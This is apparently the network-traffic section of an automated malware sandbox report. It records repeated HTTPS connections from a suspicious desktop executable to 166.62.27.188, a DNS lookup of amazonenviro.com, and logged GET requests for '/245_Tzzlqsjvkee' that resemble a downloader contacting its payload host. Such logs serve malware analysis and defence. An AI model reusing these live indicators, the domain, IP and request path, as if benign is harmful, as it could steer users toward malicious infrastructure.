Jan 14, 2025 08:26:45.686250925 CET	50101	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:45.731333971 CET	443	50101	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:46.263823986 CET	443	50101	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:46.264132977 CET	443	50101	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:46.264271975 CET	50101	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:46.264401913 CET	50101	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:46.264425039 CET	443	50101	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:46.264436007 CET	50101	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:46.264441013 CET	443	50101	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:46.378097057 CET	50102	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:46.378137112 CET	443	50102	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:46.378257036 CET	50102	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:46.379342079 CET	50102	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:46.379446030 CET	443	50102	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:46.379937887 CET	50102	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:46.380599976 CET	50103	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:46.380649090 CET	443	50103	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:46.380707026 CET	50103	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:46.381436110 CET	50103	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:46.381452084 CET	443	50103	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.273076057 CET	443	50103	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.273324013 CET	50103	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.274780989 CET	50103	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.274794102 CET	443	50103	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.275305986 CET	443	50103	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.276598930 CET	50103	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.319343090 CET	443	50103	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.853766918 CET	443	50103	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.853949070 CET	443	50103	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.854079008 CET	50103	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.854129076 CET	50103	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.854151011 CET	443	50103	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.854166031 CET	50103	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.854171991 CET	443	50103	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.967740059 CET	50104	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.967793941 CET	443	50104	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.967885971 CET	50104	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.967993021 CET	50104	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.968111992 CET	443	50104	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.968187094 CET	50104	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.970593929 CET	50105	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.970691919 CET	443	50105	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:47.970822096 CET	50105	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.971122026 CET	50105	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:47.971157074 CET	443	50105	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:48.876127005 CET	443	50105	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:48.876203060 CET	50105	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:48.877593040 CET	50105	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:48.877604008 CET	443	50105	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:48.877845049 CET	443	50105	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:48.879343987 CET	50105	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:48.923377037 CET	443	50105	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:49.459681988 CET	443	50105	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:49.459858894 CET	443	50105	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:49.460058928 CET	50105	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:49.460125923 CET	50105	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:49.460125923 CET	50105	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:49.460150003 CET	443	50105	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:49.460159063 CET	443	50105	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:49.573632002 CET	50106	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:49.573702097 CET	443	50106	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:49.573807001 CET	50106	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:49.573904037 CET	50106	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:49.574019909 CET	443	50106	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:49.574080944 CET	50106	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:49.576153040 CET	50107	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:49.576208115 CET	443	50107	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:49.576288939 CET	50107	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:49.576560974 CET	50107	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:49.576576948 CET	443	50107	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:50.475200891 CET	443	50107	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:50.475361109 CET	50107	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:50.476994038 CET	50107	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:50.477030993 CET	443	50107	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:50.477861881 CET	443	50107	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:50.479238987 CET	50107	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:50.523334026 CET	443	50107	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:51.054712057 CET	443	50107	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:51.054876089 CET	443	50107	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:51.055006027 CET	50107	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:51.055116892 CET	50107	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:51.055116892 CET	50107	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:51.055162907 CET	443	50107	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:51.055190086 CET	443	50107	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:51.167069912 CET	50108	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:51.167112112 CET	443	50108	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:51.167205095 CET	50108	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:51.167337894 CET	50108	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:51.167443991 CET	443	50108	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:51.167510986 CET	50108	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:51.183269024 CET	50109	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:51.183325052 CET	443	50109	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:51.183406115 CET	50109	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:51.183677912 CET	50109	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:51.183697939 CET	443	50109	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:52.082602978 CET	443	50109	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:52.082709074 CET	50109	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:52.084485054 CET	50109	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:52.084496975 CET	443	50109	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:52.085032940 CET	443	50109	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:52.086308002 CET	50109	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:52.131325006 CET	443	50109	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:52.786663055 CET	443	50109	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:52.786849976 CET	443	50109	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:52.786915064 CET	50109	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:53.079878092 CET	50109	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:53.079920053 CET	443	50109	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:53.079935074 CET	50109	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:53.079941988 CET	443	50109	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:53.198643923 CET	50110	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:53.198709965 CET	443	50110	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:53.198957920 CET	50110	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:53.199131966 CET	50110	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:53.199202061 CET	443	50110	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:53.199330091 CET	50110	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:53.203571081 CET	50111	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:53.203634977 CET	443	50111	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:53.203717947 CET	50111	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:53.204056025 CET	50111	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:53.204070091 CET	443	50111	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.094929934 CET	443	50111	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.095012903 CET	50111	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.096826077 CET	50111	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.096839905 CET	443	50111	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.097070932 CET	443	50111	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.098584890 CET	50111	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.139348030 CET	443	50111	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.675033092 CET	443	50111	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.675112963 CET	443	50111	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.675173998 CET	50111	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.675368071 CET	50111	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.675390005 CET	443	50111	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.675430059 CET	50111	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.675436020 CET	443	50111	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.789151907 CET	50112	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.789216042 CET	443	50112	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.791018009 CET	50112	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.791018009 CET	50112	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.791229010 CET	443	50112	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.791327953 CET	50112	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.791943073 CET	50113	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.792052031 CET	443	50113	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:54.792160988 CET	50113	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.792500973 CET	50113	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:54.792519093 CET	443	50113	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:55.710427999 CET	443	50113	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:55.710526943 CET	50113	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:55.722753048 CET	50113	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:55.722773075 CET	443	50113	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:55.723644972 CET	443	50113	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:55.724891901 CET	50113	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:55.767345905 CET	443	50113	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:56.300808907 CET	443	50113	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:56.301064968 CET	443	50113	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:56.301131010 CET	50113	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:56.301295996 CET	50113	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:56.301312923 CET	443	50113	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:56.301328897 CET	50113	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:56.301333904 CET	443	50113	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:56.418066978 CET	50114	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:56.418124914 CET	443	50114	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:56.418260098 CET	50114	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:56.418355942 CET	50114	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:56.418428898 CET	443	50114	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:56.418497086 CET	50114	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:56.421437025 CET	50115	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:56.421487093 CET	443	50115	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:56.421571016 CET	50115	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:56.421896935 CET	50115	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:56.421912909 CET	443	50115	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:57.332915068 CET	443	50115	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:57.333060980 CET	50115	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:57.334573030 CET	50115	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:57.334585905 CET	443	50115	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:57.334781885 CET	443	50115	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:57.336658955 CET	50115	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:57.379338980 CET	443	50115	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:57.927135944 CET	443	50115	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:57.927453041 CET	443	50115	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:57.927525043 CET	50115	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:57.927587986 CET	50115	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:57.927614927 CET	443	50115	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:57.927792072 CET	50115	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:57.927802086 CET	443	50115	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:58.040399075 CET	50116	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:58.040453911 CET	443	50116	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:58.040559053 CET	50116	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:58.040913105 CET	50116	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:58.040996075 CET	443	50116	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:58.041064024 CET	50116	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:58.051851988 CET	50117	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:58.051934004 CET	443	50117	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:58.052038908 CET	50117	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:58.054033041 CET	50117	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:58.054050922 CET	443	50117	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:58.943671942 CET	443	50117	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:58.943766117 CET	50117	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:58.945416927 CET	50117	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:58.945425987 CET	443	50117	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:58.945981979 CET	443	50117	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:58.947297096 CET	50117	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:58.991329908 CET	443	50117	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:59.520216942 CET	443	50117	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:59.520306110 CET	443	50117	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:59.520426035 CET	50117	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:59.520515919 CET	50117	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:59.520543098 CET	443	50117	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:59.520559072 CET	50117	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:59.520566940 CET	443	50117	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:59.639503002 CET	50118	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:59.639561892 CET	443	50118	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:59.639692068 CET	50118	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:59.639856100 CET	50118	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:59.639904976 CET	443	50118	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:59.639969110 CET	50118	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:59.679076910 CET	50119	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:59.679116964 CET	443	50119	166.62.27.188	192.168.2.10
Jan 14, 2025 08:26:59.679230928 CET	50119	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:59.679677010 CET	50119	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:26:59.679692030 CET	443	50119	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:00.582537889 CET	443	50119	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:00.582789898 CET	50119	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:00.583971977 CET	50119	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:00.583986044 CET	443	50119	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:00.584217072 CET	443	50119	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:00.585447073 CET	50119	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:00.627341032 CET	443	50119	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:01.217547894 CET	443	50119	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:01.217624903 CET	443	50119	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:01.217693090 CET	50119	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:01.217830896 CET	50119	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:01.217853069 CET	443	50119	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:01.217869997 CET	50119	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:01.217878103 CET	443	50119	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:01.336817026 CET	50120	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:01.336857080 CET	443	50120	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:01.336929083 CET	50120	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:01.337121964 CET	50120	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:01.337138891 CET	443	50120	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:01.337196112 CET	50120	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:01.339956999 CET	50121	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:01.339994907 CET	443	50121	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:01.340095043 CET	50121	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:01.340547085 CET	50121	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:01.340563059 CET	443	50121	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:02.247807026 CET	443	50121	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:02.247994900 CET	50121	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.249464035 CET	50121	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.249484062 CET	443	50121	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:02.249727011 CET	443	50121	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:02.251087904 CET	50121	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.291410923 CET	443	50121	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:02.839227915 CET	443	50121	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:02.839427948 CET	443	50121	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:02.839618921 CET	50121	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.839618921 CET	50121	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.839618921 CET	50121	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.951972961 CET	50122	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.952011108 CET	443	50122	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:02.952080965 CET	50122	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.952935934 CET	50122	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.952960968 CET	443	50122	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:02.953015089 CET	50122	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.957097054 CET	50123	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.957154989 CET	443	50123	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:02.957231045 CET	50123	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.958112001 CET	50123	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:02.958123922 CET	443	50123	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:03.148428917 CET	50121	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:03.148473024 CET	443	50121	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:03.876552105 CET	443	50123	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:03.876625061 CET	50123	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:03.878824949 CET	50123	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:03.878834009 CET	443	50123	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:03.879105091 CET	443	50123	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:03.881059885 CET	50123	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:03.923342943 CET	443	50123	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:04.466873884 CET	443	50123	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:04.467050076 CET	443	50123	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:04.467122078 CET	50123	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:04.467221975 CET	50123	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:04.467240095 CET	443	50123	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:04.467252970 CET	50123	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:04.467258930 CET	443	50123	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:04.580569983 CET	50124	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:04.580642939 CET	443	50124	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:04.580749035 CET	50124	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:04.581984997 CET	50124	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:04.582030058 CET	443	50124	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:04.582101107 CET	50124	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:04.584680080 CET	50125	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:04.584723949 CET	443	50125	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:04.584815979 CET	50125	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:04.585103035 CET	50125	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:04.585114002 CET	443	50125	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:05.468288898 CET	443	50125	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:05.468383074 CET	50125	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:05.469700098 CET	50125	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:05.469712019 CET	443	50125	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:05.469959974 CET	443	50125	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:05.471215010 CET	50125	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:05.515338898 CET	443	50125	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:06.046183109 CET	443	50125	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:06.046566963 CET	443	50125	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:06.046669960 CET	50125	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:06.046734095 CET	50125	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:06.046771049 CET	443	50125	166.62.27.188	192.168.2.10
Jan 14, 2025 08:27:06.046801090 CET	50125	443	192.168.2.10	166.62.27.188
Jan 14, 2025 08:27:06.046816111 CET	443	50125	166.62.27.188	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:25:01.687921047 CET	55859	53	192.168.2.10	1.1.1.1
Jan 14, 2025 08:25:01.701241016 CET	53	55859	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 08:25:01.687921047 CET	192.168.2.10	1.1.1.1	0x8601	Standard query (0)	amazonenviro.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 08:25:01.701241016 CET	1.1.1.1	192.168.2.10	0x8601	No error (0)	amazonenviro.com		166.62.27.188	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

amazonenviro.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49706	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:03 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:03 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:03 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49708	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:04 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:05 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:05 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49710	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
